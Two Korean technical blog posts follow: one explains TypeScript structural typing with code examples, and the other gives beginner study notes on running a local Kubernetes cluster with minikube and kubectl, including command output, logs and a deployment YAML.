Source: https://yceffort.kr/2021/06/typescript-structual-typing.md
Title: 타입스크립트의 구조 타이핑
Description: 얀센 맞고 정신 나가서 하루를 순삭당했습니다
Date: 2021-06-10
Tags: typescript

타입스크립트의 타입 체크는 가끔 내가 생각하는 것보다 광범위 해서 생각치도 못한 결과를 만들어 낼 때가 있다. 아래와 같은 코드가 있다고 가정해보자.

```typescript
interface Vector2D {
  x: number
  y: number
}

function calcLength(v: Vector2D) {
  return Math.sqrt(v.x * v.x + v.y * v.y)
}
```

그리고 새로운 interface를 만들고, 이를 함수의 값으로 넣었다.

```typescript
interface Vector2DWithName extends Vector2D {
  name: string
}

const a: Vector2DWithName = {name: 'hi', x: 5, y: 10}
calcLength(a) // works fine

interface Vector2DName {
  name: string
  x: number
  y: number
}

const b: Vector2DName = {name: 'hello', x: 10, y: 10}
calcLength(b) // works fine, too.
```

`Vector2DWithName`야 뭐, `extends`로 그 둘 사이에 관계가 어떻게 어떻게 보였다고 치더라도, `Vector2DName`과 `Vector2D` 둘 사이에는 별다른 관계가 선언되거나 한적이 없음에도 정상적으로 작동하는 것을 볼 수 있다.

타입스크립트의 타입시스템은 '구조적으로' 타입이 맞기만 한다면 이를 허용해준다. 여기서 등장한 용어가 바로 [structural typing](https://www.typescriptlang.org/docs/handbook/type-compatibility.html) 이다. (뭐 제대로된 번역을 본적이 없어서 그냥 구조적 타이핑이라고 하겠다.)

일반적으로 다른 언어, C#, Java 등에서는 허용하지 않는 방법이다. 그러나 이 때문에 예기치 못한 문제를 만들어 낼 수 있다.

```javascript
interface Vector3D {
    x: number
    y: number
    z: number
}

function normalize(v: Vector3D) {
    const length = calcLength(v) // z가 고려되지 않음
    return {
        x: v.x / length,
        y: v.y / length,
        z: v.z / length // z의 값이 이상하게 나옴
    }
}

normalize({x:3, y:4, z:5}) // 그러나 에러는 안남
```

일반적으로 함수를 작성할 때, 함수에서 들어오는 인수가 애초에 원하는 대로 의도한 인수만 가지고 있고, 그 외의 값은 안올 것이라고 기대하고, 그게 일반적이다. 그러나 타입스크립트의 타입 시스템에서는 그렇지 않다. 타입스크립트의 타입은 열려있기 때문이다. 이러한 함정(?) 때문에, 타입스크립트를 처음 접하게 되면 아래와 같은 실수를 많이 범하게 된다.

```typescript
function calcLengthV1(v: Vector3D) {
  let length = 0
  for (const axis of Object.keys(v)) {
    const coord = v[axis] // Element implicitly has an 'any' type because expression of type 'string' can't be used to index type 'Vector3D'.
    // No index signature with a parameter of type 'string' was found on type 'Vector3D'.(7053)
    length += Math.abs(coord)
  }
  return length
}
```

내가 선언한 `v`의 키 값들은 x,y,z로 잘되어 있고, 이는 모두 string이라 잘 들어가야 한다. 그리고 값들도 number라서 length에 잘 더할 수 있어야 한다. 그런데 왜 에러가 나지?

> [https://yceffort.kr/2021/05/do-not-use-suppressImplicitAnyIndexErrors](/2021/05/do-not-use-suppressImplicitAnyIndexErrors) 에서 한번 다룬적이 있다.

그러나, 위에서 이야기 한 것처럼 타입스크립트의 타입이 열려 있다는 것을 생각해본다면 타당한 에러다.

```typescript
const v = {x: 1, y: 2, z: 3, name: 'hi, h i~'}
calcLengthV1(v) // name의 값이 NaN이라서 결과가 NaN으로 뜰 수 있다.
```

따라서, 위의 코드는 타입스크립트 상에서 이렇게 바뀌어야 정확하게 값을 낼 수 있다.

```typescript
function calcLengthV2(v: Vector3D) {
  return Math.abs(v.x) + Math.abs(v.y) + Math.abs(v.z)
}
```

이런 구조적 타이핑은 클래스에서도 재밌는 현상(?) 을 만들어 낸다.

```typescript
class MadMonster {
  tan: string
  constructor(tan: string) {
    this.tan = tan
  }
}

const hi1 = new MadMonster('hello') // 원래 내가 의도한 코드
const hi2: MadMonster = {tan: 'hello'} // ?!?!
```

왜 `hi2`가 `MadMonster`로 할당이 가능한걸까? `MadMonster`에는 `tan`이라는 string 속성이 있다. 추가로, `constructor` (`Object.prototype`에서 온) 를 가지고 있는데, 이는 `tan`이라는 인수를 받기 때문에 구조적으로 일치한다. 그렇다. 구조적 타이핑의 결과 인 것이다.

구조적 타이핑이 꼭 이렇게 거지같기만(?) 한 것은 아니다. 테스트 할 때는 유용하게 사용할 수 있다.

```typescript
interface Employee {
  name: string
  id: number
}

function getEmployee(db: DB): Employee[] {
  const rows = db.runQuery('SELECT name, id from EMPLOYEES')
  return rows.map((row) => ({name: row[0], id: row[1]}))
}
```

DB를 테스트하는 코드를 만든다고 가정했을 때, 구조적 타이핑을 활용하면 아래와 같은 방법으로 테스트 할 수 있다.

```typescript
interface Employee {
  name: string
  id: number
}

interface DB {
  runQuery: (sql: string) => any[]
}

function getEmployee(db: DB): Employee[] {
  const rows = db.runQuery('SELECT name, id from EMPLOYEES')
  return rows.map((row) => ({name: row[0], id: row[1]}))
}
```

`getEmployee`에는 `runQuery`가 존재하는 DB 어댑터를 넣어주면 된다. 위 코드는 프로덕션/테스트를 가지리 않고 잘 동작할 것이다. 구조적 타이핑을 활용하여, 굳이 실제 DB를 구현하지 않아도 테스트 코드를 짤 수 있게 되었다. 굳이 DB를 mocking할 필요가 없다. 추상화한 `DB` 덕분에, 우리의 로직을 테스트와 프로덕션 상에서 모두 안전하게 작동시킬 수 있다.

## 결론

- 자바스크립트는 덕타이핑 특성을 가지고 있고, 타입스크립트는 구조적 타이핑을 활용하여 이 모델을 구현해 냈다고 볼 수 있다.
- 인터페이스에 할당 되는 값은, 형식적으로 선언되어 있는 속성 이상의 속성을 추가로 가질 수 있다. 즉 열려 있다.
- 클래스 또한 구조적 타이핑을 따르고 있으므로 조심해야 한다.
- 구조적 타이핑은 유닛 테스트 시에 유용하다.

---

Source: https://yceffort.kr/2021/06/study-k8s-2.md
Title: K8s 공부 (2)
Description: 무지성에서 시작하는 K8s 공부해보기 시리즈(2)
Date: 2021-06-10
Tags: kubernetes, devops

[K8s 공부 (1)](/2021/06/study-k8s-1)에서 이어집니다.

## Minikube

- 앞서 언급했던 것 처럼, 마스터와 워커 노드를 구성하는데 있어서는 많은 리소스와 환경이 필요함 (2마스터와 3개 이상의 워커 노드...)
- 이는 테스트 하거나, 로컬에서 실험을 하는데 있어서는 부적절함
- 그래서 등장한 것이 Minikube
- 하나의 머신에 하나의 마스터 프로세스와 워커 프로세스를 모두 집어 넣음. docker가 기본으로 설치되어 있음.
- 컴퓨터의 버츄얼 박스 등 가상 머신에서 실행됨.
- 1 node K8s cluster
- 테스트 용도로 사용됨.

## Kubectl

- pod를 만들고, 다양한 컴포넌트를 만들기 위한 도구
- 마스터 프로세스의 Api server가 실제 클러스터와 상호작용할 수 있는 유일한 창구
- 따라서 무언가를 하기 위해서는, Api Server를 통해야 함.
- 이 Apiserver를 사용할 수 있는 것이 kubectl
- 가장 강력한 도구로, 무엇이든 할 수가 있음.

KubeCtl은 minikube 뿐만 아니라 실제 프로덕션 K8s에서도 사용할 수 있음.

## 설치 및 사용

https://minikube.sigs.k8s.io/docs/start/ 링크에서 가능. 그러나 앞에서 언급했듯, 가상화 환경이 필요하기 때문에 Virtual Box 등도 설치해야 한다.

```bash
> brew update
> brew install hyperkit
> brew install minikube
```

```bash
» kubectl
kubectl controls the Kubernetes cluster manager.

 Find more information at: https://kubernetes.io/docs/reference/kubectl/overview/

Basic Commands (Beginner):
  create        Create a resource from a file or from stdin.
  expose        Take a replication controller, service, deployment or pod and expose it as a new Kubernetes Service
  run           Run a particular image on the cluster
  set           Set specific features on objects

Basic Commands (Intermediate):
  explain       Documentation of resources
  get           Display one or many resources
  edit          Edit a resource on the server
  delete        Delete resources by filenames, stdin, resources and names, or by resources and label selector

Deploy Commands:
  rollout       Manage the rollout of a resource
  scale         Set a new size for a Deployment, ReplicaSet or Replication Controller
  autoscale     Auto-scale a Deployment, ReplicaSet, StatefulSet, or ReplicationController

Cluster Management Commands:
  certificate   Modify certificate resources.
  cluster-info  Display cluster info
  top           Display Resource (CPU/Memory) usage.
  cordon        Mark node as unschedulable
  uncordon      Mark node as schedulable
  drain         Drain node in preparation for maintenance
  taint         Update the taints on one or more nodes

Troubleshooting and Debugging Commands:
  describe      Show details of a specific resource or group of resources
  logs          Print the logs for a container in a pod
  attach        Attach to a running container
  exec          Execute a command in a container
  port-forward  Forward one or more local ports to a pod
  proxy         Run a proxy to the Kubernetes API server
  cp            Copy files and directories to and from containers.
  auth          Inspect authorization
  debug         Create debugging sessions for troubleshooting workloads and nodes

Advanced Commands:
  diff          Diff live version against would-be applied version
  apply         Apply a configuration to a resource by filename or stdin
  patch         Update field(s) of a resource
  replace       Replace a resource by filename or stdin
  wait          Experimental: Wait for a specific condition on one or many resources.
  kustomize     Build a kustomization target from a directory or URL.

Settings Commands:
  label         Update the labels on a resource
  annotate      Update the annotations on a resource
  completion    Output shell completion code for the specified shell (bash or zsh)

Other Commands:
  api-resources Print the supported API resources on the server
  api-versions  Print the supported API versions on the server, in the form of "group/version"
  config        Modify kubeconfig files
  plugin        Provides utilities for interacting with plugins.
  version       Print the client and server version information

Usage:
  kubectl [flags] [options]

Use "kubectl <command> --help" for more information about a given command.
Use "kubectl options" for a list of global command-line options (applies to all commands).
```

```bash
» minikube
minikube provisions and manages local Kubernetes clusters optimized for development workflows.

Basic Commands:
  start          Starts a local Kubernetes cluster
  status         Gets the status of a local Kubernetes cluster
  stop           Stops a running local Kubernetes cluster
  delete         Deletes a local Kubernetes cluster
  dashboard      Access the Kubernetes dashboard running within the minikube cluster
  pause          pause Kubernetes
  unpause        unpause Kubernetes

Images Commands:
  docker-env     Configure environment to use minikube's Docker daemon
  podman-env     Configure environment to use minikube's Podman service
  cache          Add, delete, or push a local image into minikube
  image          Manage images

Configuration and Management Commands:
  addons         Enable or disable a minikube addon
  config         Modify persistent configuration values
  profile        Get or list the current profiles (clusters)
  update-context Update kubeconfig in case of an IP or port change

Networking and Connectivity Commands:
  service        Returns a URL to connect to a service
  tunnel         Connect to LoadBalancer services

Advanced Commands:
  mount          Mounts the specified directory into minikube
  ssh            Log into the minikube environment (for debugging)
  kubectl        Run a kubectl binary matching the cluster version
  node           Add, remove, or list additional nodes
  cp             Copy the specified file into minikube

Troubleshooting Commands:
  ssh-key        Retrieve the ssh identity key path of the specified node
  ssh-host       Retrieve the ssh host key of the specified node
  ip             Retrieves the IP address of the specified node
  logs           Returns logs to debug a local Kubernetes cluster
  update-check   Print current and latest version number
  version        Print the version of minikube

Other Commands:
  completion     Generate command completion for a shell

Use "minikube <command> --help" for more information about a given command.
```

모두 정상적으로 설치된 것을 볼 수 있다.

## minikube 생성해보기

```bash
» minikube start --vm-driver=hyperkit
😄  minikube v1.20.0 on Darwin 11.4
✨  Using the hyperkit driver based on existing profile
👍  Starting control plane node minikube in cluster minikube
🏃  Updating the running hyperkit "minikube" VM ...
🐳  Preparing Kubernetes v1.20.2 on Docker 20.10.6 ...
🔎  Verifying Kubernetes components...
    ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
🌟  Enabled addons: storage-provisioner, default-storageclass
🏄  Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default
```

```bash
» kubectl get nodes
NAME       STATUS   ROLES                  AGE     VERSION
minikube   Ready    control-plane,master   2m16s   v1.20.2
```

```bash
» minikube status
minikube
type: Control Plane
host: Running
kubelet: Running
apiserver: Running
kubeconfig: Configured
```

```bash
» kubectl version
Client Version: version.Info{Major:"1", Minor:"21", GitVersion:"v1.21.0", GitCommit:"cb303e613a121a29364f75cc67d3d580833a7479", GitTreeState:"clean", BuildDate:"2021-04-08T21:16:14Z", GoVersion:"go1.16.3", Compiler:"gc", Platform:"darwin/amd64"}
Server Version: version.Info{Major:"1", Minor:"20", GitVersion:"v1.20.2", GitCommit:"faecb196815e248d3ecfb03c680a4507229c2a56", GitTreeState:"clean", BuildDate:"2021-01-13T13:20:00Z", GoVersion:"go1.15.5", Compiler:"gc", Platform:"linux/amd64"}
```

## Kubectl의 주요 커맨드 알아보기

### 생성과 수정

```bash
» kubectl get nodes
NAME       STATUS   ROLES                  AGE     VERSION
minikube   Ready    control-plane,master   4m26s   v1.20.2

» kubectl get pod
No resources found in default namespace.


» kubectl get services
NAME         TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
kubernetes   ClusterIP   10.96.0.1    <none>        443/TCP   4m46s

```

pod 생성하기?

- pod는 가장 작은 단위
- pod를 직접적으로 만들지는 않음
- 앞서 설명했듯, deployment를 활용해서 추상화를 통해서 많음

```bash
» kubectl create deployment nginx-depl --image=nginx
deployment.apps/nginx-depl created
```

```bash
» kubectl get deployment
NAME         READY   UP-TO-DATE   AVAILABLE   AGE
nginx-depl   1/1     1            1           26s

» kubectl get pod
NAME                          READY   STATUS    RESTARTS   AGE
nginx-depl-5c8bf76b5b-fk5b9   1/1     Running   0          39s
```

- deployment에는 pod를 생성하기 위한 모든 정보가 들어가 있음.
- `kubectl create deployment nginx-depl --image=nginx`를 통해서, 가장 기초적인 설정 (deployment명과 이미지명 `nginx`)으로 deployment를 생성함.
- 나머지는 모두 기본값을 설정함.

```bash
» kubectl get replicaset
NAME                    DESIRED   CURRENT   READY   AGE
nginx-depl-5c8bf76b5b   1         1         1       2m41s
```

`Replicaset`은 pod의 복제본을 관리하는 역할을 담당하고 있음. 절댜로 수동으로 추가하거나, 삭제하는 것이 아님. deployment의 설정을 통해서 모든 것이 자동으로 이루어지는 것이다.

위에서 보는 것처럼, 1pod와 1replica가 생성된 것을 볼 수 있음.

- `Deployment`는 `ReplicaSet`을 관리하고
- `ReplicaSet`은 pod의 모든 복제본을 관리하고
- `Pod`는 컨테이너의 추상화를 담당하고 있음.
- 그리고 그외의 모든 하위 단계는 자동으로 K8s에 의해 관리되고 있음.

```bash
» kubectl edit deployment nginx-depl
```

자동으로 생성된 설정 파일을 볼 수 있음.

```yaml
# Please edit the object below. Lines beginning with a '#' will be ignored,
# and an empty file will abort the edit. If an error occurs while saving this file will be
# reopened with the relevant failures.
#
apiVersion: apps/v1
kind: Deployment
metadata:
  annotations:
    deployment.kubernetes.io/revision: "1"
  creationTimestamp: "2021-06-10T14:08:04Z"
  generation: 1
  labels:
    app: nginx-depl
  name: nginx-depl
  namespace: default
  resourceVersion: "744"
  uid: 02fd65f5-7170-408a-bc98-1aa735b835ce
spec:
  progressDeadlineSeconds: 600
  replicas: 1
  revisionHistoryLimit: 10
  selector:
    matchLabels:
      app: nginx-depl
  strategy:
    rollingUpdate:
      maxSurge: 25%
      maxUnavailable: 25%
    type: RollingUpdate
  template:
    metadata:
      creationTimestamp: null
      labels:
        app: nginx-depl
    spec:
      containers:
      - image: nginx # 이거 뒤에 :1.16을 붙이고 저장해보자.
        imagePullPolicy: Always
        name: nginx
        resources: {}
        terminationMessagePath: /dev/termination-log
        terminationMessagePolicy: File
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      schedulerName: default-scheduler
      securityContext: {}
      terminationGracePeriodSeconds: 30
        terminationMessagePath: /dev/termination-log
        terminationMessagePolicy: File
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      schedulerName: default-scheduler
      securityContext: {}
      terminationGracePeriodSeconds: 30
status:
  availableReplicas: 1
  conditions:
  - lastTransitionTime: "2021-06-10T14:08:26Z"
    lastUpdateTime: "2021-06-10T14:08:26Z"
    message: Deployment has minimum availability.
    reason: MinimumReplicasAvailable
    status: "True"
    type: Available
  - lastTransitionTime: "2021-06-10T14:08:04Z"
    lastUpdateTime: "2021-06-10T14:08:26Z"
    message: ReplicaSet "nginx-depl-5c8bf76b5b" has successfully progressed.
    reason: NewReplicaSetAvailable
    status: "True"
    type: Progressing
  observedGeneration: 1
  readyReplicas: 1
  replicas: 1
  updatedReplicas: 1
```

```bash
» kubectl get replicaset
NAME                    DESIRED   CURRENT   READY   AGE
nginx-depl-5c8bf76b5b   0         0         0       10m
nginx-depl-7fc44fc5d4   1         1         1       70s
```

### 디버깅

```bash
» kubectl get pod
NAME                          READY   STATUS    RESTARTS   AGE
nginx-depl-7fc44fc5d4-wmh8z   1/1     Running   0          2m42s

~
» kubectl logs nginx-depl-7fc44fc5d4-wmh8z

~
```

nginx에 뭐 들어온게 없어서 로그가 하나도 안찍혀있다.

```bash
» kubectl create deployment mongo-depl --image=mongo
deployment.apps/mongo-depl created

~
» kubectl get pod
NAME                          READY   STATUS              RESTARTS   AGE
mongo-depl-5fd6b7d4b4-tvzt6   0/1     ContainerCreating   0          6s
nginx-depl-7fc44fc5d4-wmh8z   1/1     Running             0          4m32s

» kubectl describe pod mongo-depl-5fd6b7d4b4-tvzt6
Name:         mongo-depl-5fd6b7d4b4-tvzt6
Namespace:    default
Priority:     0
Node:         minikube/192.168.64.3
Start Time:   Thu, 10 Jun 2021 23:21:28 +0900
Labels:       app=mongo-depl
              pod-template-hash=5fd6b7d4b4
Annotations:  <none>
Status:       Running
IP:           172.17.0.3
IPs:
  IP:           172.17.0.3
Controlled By:  ReplicaSet/mongo-depl-5fd6b7d4b4
Containers:
  mongo:
    Container ID:   docker://7d8341691a7e94d0992d0d8b2c2a4bab70820c4c1fcd730a86bb2bcc19cb0950
    Image:          mongo
    Image ID:       docker-pullable://mongo@sha256:419ee9e6676031a18186f20f6bcebb2c0a52cb386502293563dc7ff2968a1b89
    Port:           <none>
    Host Port:      <none>
    State:          Running
      Started:      Thu, 10 Jun 2021 23:22:06 +0900
    Ready:          True
    Restart Count:  0
    Environment:    <none>
    Mounts:
      /var/run/secrets/kubernetes.io/serviceaccount from default-token-tffzh (ro)
Conditions:
  Type              Status
  Initialized       True
  Ready             True
  ContainersReady   True
  PodScheduled      True
Volumes:
  default-token-tffzh:
    Type:        Secret (a volume populated by a Secret)
    SecretName:  default-token-tffzh
    Optional:    false
QoS Class:       BestEffort
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                 node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:
  Type    Reason     Age   From               Message
  ----    ------     ----  ----               -------
  Normal  Scheduled  74s   default-scheduler  Successfully assigned default/mongo-depl-5fd6b7d4b4-tvzt6 to minikube
  Normal  Pulling    73s   kubelet            Pulling image "mongo"
  Normal  Pulled     37s   kubelet            Successfully pulled image "mongo" in 36.394396367s
  Normal  Created    37s   kubelet            Created container mongo
  Normal  Started    36s   kubelet            Started container mongo
```

```bash
» kubectl logs mongo-depl-5fd6b7d4b4-tvzt6
{"t":{"$date":"2021-06-10T14:22:06.043+00:00"},"s":"I",  "c":"CONTROL",  "id":23285,   "ctx":"main","msg":"Automatically disabling TLS 1.0, to force-enable TLS 1.0 specify --sslDisabledProtocols 'none'"}
{"t":{"$date":"2021-06-10T14:22:06.046+00:00"},"s":"W",  "c":"ASIO",     "id":22601,   "ctx":"main","msg":"No TransportLayer configured during NetworkInterface startup"}
{"t":{"$date":"2021-06-10T14:22:06.046+00:00"},"s":"I",  "c":"NETWORK",  "id":4648601, "ctx":"main","msg":"Implicit TCP FastOpen unavailable. If TCP FastOpen is required, set tcpFastOpenServer, tcpFastOpenClient, and tcpFastOpenQueueSize."}
{"t":{"$date":"2021-06-10T14:22:06.046+00:00"},"s":"I",  "c":"STORAGE",  "id":4615611, "ctx":"initandlisten","msg":"MongoDB starting","attr":{"pid":1,"port":27017,"dbPath":"/data/db","architecture":"64-bit","host":"mongo-depl-5fd6b7d4b4-tvzt6"}}
{"t":{"$date":"2021-06-10T14:22:06.046+00:00"},"s":"I",  "c":"CONTROL",  "id":23403,   "ctx":"initandlisten","msg":"Build Info","attr":{"buildInfo":{"version":"4.4.6","gitVersion":"72e66213c2c3eab37d9358d5e78ad7f5c1d0d0d7","openSSLVersion":"OpenSSL 1.1.1  11 Sep 2018","modules":[],"allocator":"tcmalloc","environment":{"distmod":"ubuntu1804","distarch":"x86_64","target_arch":"x86_64"}}}}
{"t":{"$date":"2021-06-10T14:22:06.046+00:00"},"s":"I",  "c":"CONTROL",  "id":51765,   "ctx":"initandlisten","msg":"Operating System","attr":{"os":{"name":"Ubuntu","version":"18.04"}}}
{"t":{"$date":"2021-06-10T14:22:06.046+00:00"},"s":"I",  "c":"CONTROL",  "id":21951,   "ctx":"initandlisten","msg":"Options set by command line","attr":{"options":{"net":{"bindIp":"*"}}}}
{"t":{"$date":"2021-06-10T14:22:06.047+00:00"},"s":"I",  "c":"STORAGE",  "id":22297,   "ctx":"initandlisten","msg":"Using the XFS filesystem is strongly recommended with the WiredTiger storage engine. See http://dochub.mongodb.org/core/prodnotes-filesystem","tags":["startupWarnings"]}
{"t":{"$date":"2021-06-10T14:22:06.047+00:00"},"s":"I",  "c":"STORAGE",  "id":22315,   "ctx":"initandlisten","msg":"Opening WiredTiger","attr":{"config":"create,cache_size=1409M,session_max=33000,eviction=(threads_min=4,threads_max=4),config_base=false,statistics=(fast),log=(enabled=true,archive=true,path=journal,compressor=snappy),file_manager=(close_idle_time=100000,close_scan_interval=10,close_handle_minimum=250),statistics_log=(wait=0),verbose=[recovery_progress,checkpoint_progress,compact_progress],"}}
{"t":{"$date":"2021-06-10T14:22:06.563+00:00"},"s":"I",  "c":"STORAGE",  "id":22430,   "ctx":"initandlisten","msg":"WiredTiger message","attr":{"message":"[1623334926:563229][1:0x7fc32da96ac0], txn-recover: [WT_VERB_RECOVERY | WT_VERB_RECOVERY_PROGRESS] Set global recovery timestamp: (0, 0)"}}
{"t":{"$date":"2021-06-10T14:22:06.563+00:00"},"s":"I",  "c":"STORAGE",  "id":22430,   "ctx":"initandlisten","msg":"WiredTiger message","attr":{"message":"[1623334926:563299][1:0x7fc32da96ac0], txn-recover: [WT_VERB_RECOVERY | WT_VERB_RECOVERY_PROGRESS] Set global oldest timestamp: (0, 0)"}}
{"t":{"$date":"2021-06-10T14:22:06.569+00:00"},"s":"I",  "c":"STORAGE",  "id":4795906, "ctx":"initandlisten","msg":"WiredTiger opened","attr":{"durationMillis":522}}
{"t":{"$date":"2021-06-10T14:22:06.569+00:00"},"s":"I",  "c":"RECOVERY", "id":23987,   "ctx":"initandlisten","msg":"WiredTiger recoveryTimestamp","attr":{"recoveryTimestamp":{"$timestamp":{"t":0,"i":0}}}}
{"t":{"$date":"2021-06-10T14:22:06.577+00:00"},"s":"I",  "c":"STORAGE",  "id":4366408, "ctx":"initandlisten","msg":"No table logging settings modifications are required for existing WiredTiger tables","attr":{"loggingEnabled":true}}
{"t":{"$date":"2021-06-10T14:22:06.577+00:00"},"s":"I",  "c":"STORAGE",  "id":22262,   "ctx":"initandlisten","msg":"Timestamp monitor starting"}
{"t":{"$date":"2021-06-10T14:22:06.579+00:00"},"s":"W",  "c":"CONTROL",  "id":22120,   "ctx":"initandlisten","msg":"Access control is not enabled for the database. Read and write access to data and configuration is unrestricted","tags":["startupWarnings"]}
{"t":{"$date":"2021-06-10T14:22:06.580+00:00"},"s":"I",  "c":"STORAGE",  "id":20320,   "ctx":"initandlisten","msg":"createCollection","attr":{"namespace":"admin.system.version","uuidDisposition":"provided","uuid":{"uuid":{"$uuid":"782b81b2-5b7e-4f69-9e3e-bf5deed7e4d1"}},"options":{"uuid":{"$uuid":"782b81b2-5b7e-4f69-9e3e-bf5deed7e4d1"}}}}
{"t":{"$date":"2021-06-10T14:22:06.586+00:00"},"s":"I",  "c":"INDEX",    "id":20345,   "ctx":"initandlisten","msg":"Index build: done building","attr":{"buildUUID":null,"namespace":"admin.system.version","index":"_id_","commitTimestamp":{"$timestamp":{"t":0,"i":0}}}}
{"t":{"$date":"2021-06-10T14:22:06.587+00:00"},"s":"I",  "c":"COMMAND",  "id":20459,   "ctx":"initandlisten","msg":"Setting featureCompatibilityVersion","attr":{"newVersion":"4.4"}}
{"t":{"$date":"2021-06-10T14:22:06.587+00:00"},"s":"I",  "c":"STORAGE",  "id":20536,   "ctx":"initandlisten","msg":"Flow Control is enabled on this deployment"}
{"t":{"$date":"2021-06-10T14:22:06.588+00:00"},"s":"I",  "c":"STORAGE",  "id":20320,   "ctx":"initandlisten","msg":"createCollection","attr":{"namespace":"local.startup_log","uuidDisposition":"generated","uuid":{"uuid":{"$uuid":"874aa57e-a309-4546-a090-7a6a1602f4e0"}},"options":{"capped":true,"size":10485760}}}
{"t":{"$date":"2021-06-10T14:22:06.599+00:00"},"s":"I",  "c":"INDEX",    "id":20345,   "ctx":"initandlisten","msg":"Index build: done building","attr":{"buildUUID":null,"namespace":"local.startup_log","index":"_id_","commitTimestamp":{"$timestamp":{"t":0,"i":0}}}}
{"t":{"$date":"2021-06-10T14:22:06.599+00:00"},"s":"I",  "c":"FTDC",     "id":20625,   "ctx":"initandlisten","msg":"Initializing full-time diagnostic data capture","attr":{"dataDirectory":"/data/db/diagnostic.data"}}
{"t":{"$date":"2021-06-10T14:22:06.601+00:00"},"s":"I",  "c":"STORAGE",  "id":20320,   "ctx":"LogicalSessionCacheRefresh","msg":"createCollection","attr":{"namespace":"config.system.sessions","uuidDisposition":"generated","uuid":{"uuid":{"$uuid":"ddd2219d-532c-46db-90a2-c2e01492632f"}},"options":{}}}
{"t":{"$date":"2021-06-10T14:22:06.602+00:00"},"s":"I",  "c":"CONTROL",  "id":20712,   "ctx":"LogicalSessionCacheReap","msg":"Sessions collection is not set up; waiting until next sessions reap interval","attr":{"error":"NamespaceNotFound: config.system.sessions does not exist"}}
{"t":{"$date":"2021-06-10T14:22:06.602+00:00"},"s":"I",  "c":"NETWORK",  "id":23015,   "ctx":"listener","msg":"Listening on","attr":{"address":"/tmp/mongodb-27017.sock"}}
{"t":{"$date":"2021-06-10T14:22:06.602+00:00"},"s":"I",  "c":"NETWORK",  "id":23015,   "ctx":"listener","msg":"Listening on","attr":{"address":"0.0.0.0"}}
{"t":{"$date":"2021-06-10T14:22:06.603+00:00"},"s":"I",  "c":"NETWORK",  "id":23016,   "ctx":"listener","msg":"Waiting for connections","attr":{"port":27017,"ssl":"off"}}
{"t":{"$date":"2021-06-10T14:22:06.614+00:00"},"s":"I",  "c":"INDEX",    "id":20345,   "ctx":"LogicalSessionCacheRefresh","msg":"Index build: done building","attr":{"buildUUID":null,"namespace":"config.system.sessions","index":"_id_","commitTimestamp":{"$timestamp":{"t":0,"i":0}}}}
{"t":{"$date":"2021-06-10T14:22:06.614+00:00"},"s":"I",  "c":"INDEX",    "id":20345,   "ctx":"LogicalSessionCacheRefresh","msg":"Index build: done building","attr":{"buildUUID":null,"namespace":"config.system.sessions","index":"lsidTTLIndex","commitTimestamp":{"$timestamp":{"t":0,"i":0}}}}
{"t":{"$date":"2021-06-10T14:23:06.579+00:00"},"s":"I",  "c":"STORAGE",  "id":22430,   "ctx":"WTCheckpointThread","msg":"WiredTiger message","attr":{"message":"[1623334986:579376][1:0x7fc320582700], WT_SESSION.checkpoint: [WT_VERB_CHECKPOINT_PROGRESS] saving checkpoint snapshot min: 34, snapshot max: 34 snapshot count: 0, oldest timestamp: (0, 0) , meta checkpoint timestamp: (0, 0)"}}
```

mongodb의 로그가 찍혀있는 것을 볼 수 있다.

```bash
» kubectl get pod
NAME                          READY   STATUS    RESTARTS   AGE
mongo-depl-5fd6b7d4b4-tvzt6   1/1     Running   0          2m28s
nginx-depl-7fc44fc5d4-wmh8z   1/1     Running   0          6m54s

» kubectl exec -it mongo-depl-5fd6b7d4b4-tvzt6 -- bin/bash
root@mongo-depl-5fd6b7d4b4-tvzt6:/#
root@mongo-depl-5fd6b7d4b4-tvzt6:/# ls
bin  boot  data  dev  docker-entrypoint-initdb.d  etc  home  js-yaml.js  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
root@mongo-depl-5fd6b7d4b4-tvzt6:/# exit
exit
```

mongodb 컨테이너의 bash에 접근했다.

### deployment 삭제

```bash
» kubectl get deployment
NAME         READY   UP-TO-DATE   AVAILABLE   AGE
mongo-depl   1/1     1            1           5m25s
nginx-depl   1/1     1            1           18m

~
» kubectl get pod
NAME                          READY   STATUS    RESTARTS   AGE
mongo-depl-5fd6b7d4b4-tvzt6   1/1     Running   0          5m29s
nginx-depl-7fc44fc5d4-wmh8z   1/1     Running   0          9m55s

~
» kubectl delete deployment mongo-depl
deployment.apps "mongo-depl" deleted

~
» kubectl get pod
NAME                          READY   STATUS    RESTARTS   AGE
nginx-depl-7fc44fc5d4-wmh8z   1/1     Running   0          10m

~
» kubectl get replicaset
NAME                    DESIRED   CURRENT   READY   AGE
nginx-depl-5c8bf76b5b   0         0         0       19m
nginx-depl-7fc44fc5d4   1         1         1       10m
```

앞서서 bash 명령어로 deployment를 만드는 것을 살펴보았다. 그러나 이런 명령어를 일일이 써서 만드는 것은 굉장히 번거로우므로, 일반적으로는 설정파일을 통해서 만들게 된다.

```yaml
apiVersion: apps/v1
kind: Deployment # 만들려고 하는 것
metadata:
  name: nginx-deployment # 이름
  labels:
    app: nginx
spec:
  replicas: 1 # 레플리카 갯수
  selector:
    matchLabels:
      app: nginx
  template: # blueprint
    metadata:
      labels:
        app: nginx
    spec: # pod와 관련된 내용
      containers:
        - name: nginx
          image: nginx:1.16
          ports:
            - containerPort: 80
```

```bash
» kubectl apply -f nginx-deployment.yaml
deployment.apps/nginx-deployment created

» kubectl get pod
NAME                                READY   STATUS    RESTARTS   AGE
nginx-deployment-644599b9c9-qt6xv   1/1     Running   0          27s

» kubectl get deployment
NAME               READY   UP-TO-DATE   AVAILABLE   AGE
nginx-deployment   1/1     1            1           39s
```

파일에서 replica를 2개로 늘리고 다시 적용해보자.

```bash
» kubectl apply -f nginx-deployment.yaml
deployment.apps/nginx-deployment configured

» kubectl get deployment
NAME               READY   UP-TO-DATE   AVAILABLE   AGE
nginx-deployment   2/2     2            2           85s

» kubectl get pod
NAME                                READY   STATUS    RESTARTS   AGE
nginx-deployment-644599b9c9-qt6xv   1/1     Running   0          94s
nginx-deployment-644599b9c9-wjgbt   1/1     Running   0          38s

» kubectl get replicaset
